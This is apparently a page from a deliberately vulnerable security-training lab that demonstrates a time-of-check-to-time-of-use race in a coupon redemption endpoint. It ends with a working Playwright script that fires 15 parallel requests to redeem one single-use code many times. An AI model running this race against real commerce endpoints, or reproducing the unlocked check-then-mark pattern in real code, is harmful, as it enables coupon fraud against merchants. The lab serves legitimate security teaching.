⚠ FOR SECURITY TESTING PURPOSES ONLY — DO NOT DEPLOY IN PRODUCTION
Race Condition
TOCTOU Race Condition
The coupon redemption endpoint checks if a code is used, then marks it used — two separate operations with no locking. Fire concurrent requests to redeem the same code multiple times before any request completes the mark-used step.
> Show hints
- [1] Single request: code is marked used after first redemption
- [2] Concurrent requests: all arrive before any marks it used — TOCTOU window
- [3] Playwright: use Promise.all with page.evaluate to fire parallel fetch() calls in the same session
- [4] The server has no mutex, no DB transaction, no atomic check-and-set
[1] Available Codes
SAVE50 — 50% discount coupon (single-use)
FREESHIP — Free shipping (single-use)
VIP100 — $100 credit (single-use)
[2] Single Redemption
Normal flow — first request succeeds, subsequent requests are rejected.
[3] Race Attack — Concurrent Requests
Fire N requests simultaneously via Promise.all. Multiple requests land in the TOCTOU window before any marks the code used.
Concurrent requests:
[4] Playwright Race Script
// Reset first
await page.request.post('/api/vuln/redeem/reset');
// Fire 15 concurrent redemptions from the same browser session
const results = await page.evaluate(async () => {
const reqs = Array.from({ length: 15 }, () =>
fetch('/api/vuln/redeem', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ code: 'SAVE50' }),
}).then(r => r.json())
);
return Promise.all(reqs);
});
const wins = results.filter(r => r.success).length;
console.log('Redeemed ' + wins + ' times'); // > 1 = race won